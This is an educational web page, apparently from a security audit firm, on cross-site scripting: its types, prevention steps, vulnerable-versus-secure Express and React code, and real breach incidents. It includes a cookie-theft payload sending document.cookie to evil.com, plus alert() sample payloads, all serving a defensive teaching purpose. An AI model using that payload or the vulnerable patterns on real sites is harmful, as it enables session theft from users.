What is an XSS vulnerability?
Cross-Site Scripting. A vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. Types include stored, reflected, and DOM-based XSS.
Understanding XSS
XSS occurs when applications include untrusted data in web pages without proper encoding. Attackers can execute scripts in victims' browsers to steal sessions, deface websites, redirect users to malicious sites, or perform actions on behalf of the user. It's consistently in the OWASP Top 10 and affects the majority of web applications at some point.
Examples
- Stored XSS: Malicious script saved in a comment that runs when others view it
- Reflected XSS: Script in a URL parameter reflected in the page
- DOM XSS: Client-side JavaScript processing untrusted data
- Cookie theft: <script>document.location='http://evil.com/steal?'+document.cookie</script>
How to Prevent
- Encode output based on context (HTML, JavaScript, URL, CSS)
- Use Content Security Policy (CSP) headers to restrict script sources
- Sanitize HTML input with DOMPurify or similar proven library
- Use HttpOnly and Secure flags on sensitive cookies
- Avoid innerHTML/dangerouslySetInnerHTML - use textContent or framework defaults
- Implement input validation as defense in depth
- Use modern frameworks (React, Vue, Angular) that encode by default
Code Examples
Reflected XSS in Search
// VULNERABLE: Directly inserting user input into HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
});
// Attacker URL: /search?q=<script>alert(document.cookie)</script>
// The script executes in the victim's browser // SECURE: Encode output before inserting into HTML
import { encode } from 'html-entities';
app.get('/search', (req, res) => {
const query = encode(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
// Now <script> becomes <script> and won't execute React DOM XSS
// VULNERABLE: Using dangerouslySetInnerHTML with user input
function Comment({ content }) {
return (
<div dangerouslySetInnerHTML={{ __html: content }} />
);
}
// If content = "<img src=x onerror=alert('XSS')>"
// The script executes // SECURE: Let React handle escaping (default behavior)
function Comment({ content }) {
return <div>{content}</div>;
}
// Or sanitize if you need HTML
import DOMPurify from 'dompurify';
function Comment({ content }) {
return (
<div
dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(content)
}}
/>
);
} DOM XSS via URL
// VULNERABLE: Reading from URL and inserting into DOM
const params = new URLSearchParams(window.location.search);
document.getElementById('welcome').innerHTML =
'Hello, ' + params.get('name');
// URL: page.html?name=<img src=x onerror=alert('XSS')> // SECURE: Use textContent instead of innerHTML
const params = new URLSearchParams(window.location.search);
document.getElementById('welcome').textContent =
'Hello, ' + params.get('name');
// textContent treats everything as text, not HTML Real-World Incidents
British Airways
2018Attackers injected malicious JavaScript via XSS that skimmed payment card details from 380,000 customers.
Impact: £20 million GDPR fine, massive reputation damage
Fortnite
2019XSS vulnerability in old, unsecured Epic Games page could have allowed attackers to take over player accounts.
Impact: Potential access to 200+ million user accounts
eBay
2015Stored XSS in product listings allowed attackers to redirect users to phishing pages and steal credentials.
Impact: Unknown number of users affected before patch
Worried about XSS in your app?
Our security audits identify vulnerabilities like this before attackers do. Get expert manual review of your codebase.